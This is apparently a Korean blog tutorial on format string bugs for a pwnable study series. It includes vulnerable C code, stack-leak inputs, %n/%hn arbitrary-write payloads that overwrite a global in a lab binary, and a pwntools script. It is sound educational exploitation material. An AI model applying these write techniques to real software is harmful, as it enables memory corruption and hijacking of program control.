포너블 스터디 #4

연 구

2019.06.01 17:27

포너블 스터디 #4 Format String Bug

이전 시간에 스택에서 일어날수 있는 작은 부분을 공부했습니다. 앞으로 더 많은걸 배우기 앞서 스택이 아닌 개발자의 포맷팅을 수행하는 함수 사용의 부주의함에서 일어나는 취약점 Format String Bug(이하 fsb)을 알아보도록 하겠습니다.

 

Intro

저희가 이제부터 알아볼 FSB는 상당히 오래된 취약점입니다. Wikipedia에 의하면 이 취약점이 발견된 년도는 1989년이라고 합니다. 가끔씩 CTF에서도 출제되며 이런 접근방식이 정말 재미난 공격이라고 생각합니다. 그렇다면 FSB는 어떤걸까요? 간단한 C코드를 보며 이해해보도록 하겠습니다.

#include <stdio.h>

int main(int argc, char ** argv, char ** envp)
{
        char buf[1024];

        scanf("%s", buf);
        if(strlen(buf) >= 1024)
                exit(-1);

        printf(buf);
        printf("\n");

        return 0;
}

/*
 * RUN EXAMPLE
pwner@ubuntu:~/workspace$ ./fsb_example
pwnablestury
pwnablestury
*/

이전 시간까지 배운 내용을 보자면 위 코드는 안전합니다. 취약한 scanf함수를 사용하고있지만 길이검사로 제대로 이뤄지고 단순히 입력한 문자열을 출력하기 때문이죠.

 

FSB

PRINTF(3)                                                     Linux Programmer's Manual                                                     PRINTF(3)

NAME
       printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

SYNOPSIS
       #include <stdio.h>

       int printf(const char *format, ...);
       int fprintf(FILE *stream, const char *format, ...);
       int dprintf(int fd, const char *format, ...);
       int sprintf(char *str, const char *format, ...);
       int snprintf(char *str, size_t size, const char *format, ...);

본격적으로 FSB에 들어가기전 형식문자에 대해 알아보면 저희가 알고있는 포맷팅함수들은 대부분 format을 인자로 받게됩니다. format에 포함될 수 있는 다양한 형식문자들(%s, %c, %d, %x, %X, etc...)이 이후 가변인자로 들어오는 값을 형식에 맞게 표현해줍니다. 그렇다면 위 프로그램에서 형식문자를 입력하게 되면 어떤 일이 일어날까요?

pwner@ubuntu:~/workspace$ ./fsb_example
%x.%x.%x.%x.%x.%x.%x
1.ffd00000.0.c0c0.2412d700.1.49aae058

입력한 문자열이 아닌 어떤 값들을 출력하게 됩니다. 이때 자세히 봐야할건 입력값으로 형식문자을 넣어주었다는 겁니다. 이렇게 포맷팅 함수들의 매개변수 format에 사용자의 입력값을 그대로 넣어주게 된다면 형식문자를 통해 어떤 값에 접근이 가능하다는 겁니다. 이를 응용해서 생각해보면 스택에 있는 stack canary를 얻을 수 있고, PIE일 경우 RET을 통해 libc의 base address를 구할수도 있습니다. 또는 ASRL일 경우 SFP를 통해서 stack의 주소도 구할 수 있죠. 이렇듯 FSB는 CTF에서 다양한 정보를 가져올 수 있어 유용하게 활용 될 수 있습니다.

 

그렇다면 FSB만 이용해서 실행 흐름을 조작할순 없을까요? 정답은 "가능"입니다. 저희가 평소에 알고있는 형식문자들(%s, %c, %d...)외에 %n(크기에 따라 %hn도 있습니다.)이란게 있습니다. %n은 자기 이전까지 출력된 문자의 수를 특정 메모리 주소에 작성하는 용도로 만들어졌습니다.

pwner@ubuntu:~/workspace$ cat fsb_example_n.c
#include <stdio.h>

int main(int argc, char ** argv, char ** envp)
{
        int printCount = 0;

        printf("pwnablestudy%n\n", &printCount);
        printf("print count : %d", printCount);

        return 0;
}
pwner@ubuntu:~/workspace$ ./fsb_example_n
pwnablestudy
print count : 12

위 결과를 보면 출력된 12글자의 수가 printCount에 저장된걸 볼 수 있습니다.

 

여기서 잠깐! 우리는 현재 입력할 수 있는건 format에 해당하는 문자열밖에 없습니다. 그렇다면 어떤식으로 형식문자에 해당하는 가변인자값을 넣어주게 되는걸까요? 간단하게 말하면 '노가다'가 조금 필요합니다. 일단 형식문자와 그에 해당하는 가변인자의 위치를 찾는 방식부터 간단히 보여드리겠습니다.

pwner@ubuntu:~/workspace$ echo "AAAAAAAA%llx%llx%llx%llx%llx%llx%llx%llx" | ./fsb_example
AAAAAAAA1c0e0c100000000000c100d17fff26e90f187fff26e90f08
pwner@ubuntu:~/workspace$ echo "AAAAAAAA%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx" | ./fsb_example
AAAAAAAA1c10000000000000000d17fff2c4a86d87fff2c4a86c81887b81684141414141414141786c6c25786c6c25786c6c25786c6c25
pwner@ubuntu:~/workspace$ echo "AAAAAAAA%llx%llx%llx%llx%llx%llx%llx%llx%llx%llx" | ./fsb_example
AAAAAAAA1cff100000000000000d7fce5bf954507fff29b386f87fff29b386e81000000004141414141414141

현재 fsb_example은 64bit ELF이며 스택의 크기로 8byte이므로 처음 AAAAAAAA를 작성합니다. 이후 차례로 형식문자를 넣으며 4141414141414141(="AAAAAAAA"의 ascii code)가 나오는 위치를 확인합니다.

 

EXPLOIT!!

좋습니다. %n으로 특정 메모리영역에 값을 쓸수있고 특정 메모리의 주소를 가변인자로 넘겨줄수도 있습니다. 간단한 예제로 다음 코드를 준비했습니다. 실습은 32bit 환경에서 진행합니다!

#include <stdio.h>
#include <stdlib.h>

int correct = 0;

int main(int argc, char ** argv, char ** envp)
{
        char buf[1024];

        scanf("%s", buf);
        printf(buf);
        printf("\n");

        if (correct == 0xdeadbeef)
        {
                printf("CorrecT!!\n");
        }
        else printf("Wrong.. %x\n", correct);

        return 0;
}

목표는 correct에 0xdeafbeef를 작성하는겁니다. 그러기 위해선 3가지가 필요한데 correct의 주소, 작성할 값, 가변인자의 위치입니다. 작성할 값은 0xdeafbeef임을 아니깐 correct의 주소를 구해줍니다.

    0x8048584 <main+105>       mov    eax, ds:0x804a030
 →  0x8048589 <main+110>       cmp    eax, 0xdeafbeef

correct는 현재 0x804a030에 위치한다는걸 알 수 있습니다. 이제 %n에 매칭되는 가변인자의 위치를 찾기 위해 약간의 노가다를 진행합니다.

pwner@ubuntu:~/workspace$ echo "AAAA%x%x%x%x%x%x%x%x%x%x%x" | ./exploit_fsb
AAAAffd35abc17417417444ffd35f7cffd35f74471ad23c41414141
Wrong.. 0

FSB를 처음 진행하면 어려움을 느낄때가 바로 payload를 작성할때 입니다. 한번에 원하는 목표의 값을 작성할 경우는 문제가 없지만 큰 수를 작성할땐 2byte 단위로 짤라 작성하는등의 수고로움을 감수해야하며, 앞의 문자열의 수와 뒤의 문자열의 수를 적절히 조합해야하는 문제도 있습니다.

 

먼저 간단하게 워밍업으로 위 정보를 조합해 correct에 제대로 값이 쓰이는지 확인해보도록 하겠습니다.

pwner@ubuntu:~/workspace$ (python -c 'print "\x30\xa0\x04\x08%x%x%x%x%x%x%x%x%x%x%n"'; cat) | ./exploit_fsb
0ffd696ec17417417444ffd69bacffd69ba4471ad23c
Wrong.. 2f

pwner@ubuntu:~/workspace$ (python -c 'print "\x30\xa0\x04\x08%11$n"'; cat) | ./exploit_fsb
0▒
Wrong.. 4

[TIP] 아래 %11$n의 경우는 11번째 인자를 사용하겠다는 의미로 알아보시면 됩니다. 이렇게 떨어진 위치의 인자에 바로 접근할 수 있는 방법을 알면 FSB는 조금 더 쉽게 사용할 수 있습니다.

 

위 결과를 보면 correct의 전역변수에 제대로 값이 쓰인는걸 확인할 수 있습니다. 다음으로 %hn으로 0xdeadbeef의 하위 2byte인 beef를 작성해보도록 하겠습니다.

pwner@ubuntu:~/workspace$ (python -c 'print "\x30\xa0\x04\x08%48875c%11$hn"'; cat) | ./exploit_fsb
..중략..                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ▒
Wrong.. beef

payload를 자세히 보면 첫 4글자는 correct의 주소, 다음으로 첫 4글자가 출력된 상태이므로 0xbeef-4한 48875만큼 %c를 합니다. 그걸 마지막 %11$hn으로 값을 쓰게되면 하위 2byte를 beef로 만들 수 있습니다. 계속해서 상위 2byte인 0xdead를 작성해보도록 하겠습니다. 이때 중요한건 하위 2byte를 쓰면서 beef만큼 출력된걸 감안하고 0xdead를 작성해야합니다. 그러므로 0xdead - 0xbeef한 값을 작성합니다.

pwner@ubuntu:~/workspace$ (python -c 'print "\x30\xa0\x04\x08\x32\xa0\x04\x08%48871c%11$hn%8126c%12$hn"'; cat) | ./exploit_fsb
...중략...
CorrecT!!

 

pwntools의 fmtstr을 활용하면 더욱더 간단하게 문제를 해결할 수 있습니다.

#!/usr/bin/env python
from pwn import *

context.update(arch='i386', os='linux', log_level='critical')

correct_addr = 0x0804a030

def exp_f(payload):
        p = process('./exploit_fsb')
        p.sendline(payload)
        print(p.recvuntil('CorrecT!!'))

f = FmtStr(exp_f, offset=11)
f.write(correct_addr, 0xdeadbeef)
f.execute_writes()

 

 

'연 구' 카테고리의 다른 글

std::c++ ?  (0) 2019.06.23
포너블 스터디 #5  (0) 2019.06.21
포너블 스터디 #4  (0) 2019.06.01
포너블 스터디 #3  (0) 2019.05.25
포너블 스터디 #2  (0) 2019.05.19
MBR을 알아보는 시간  (0) 2018.10.16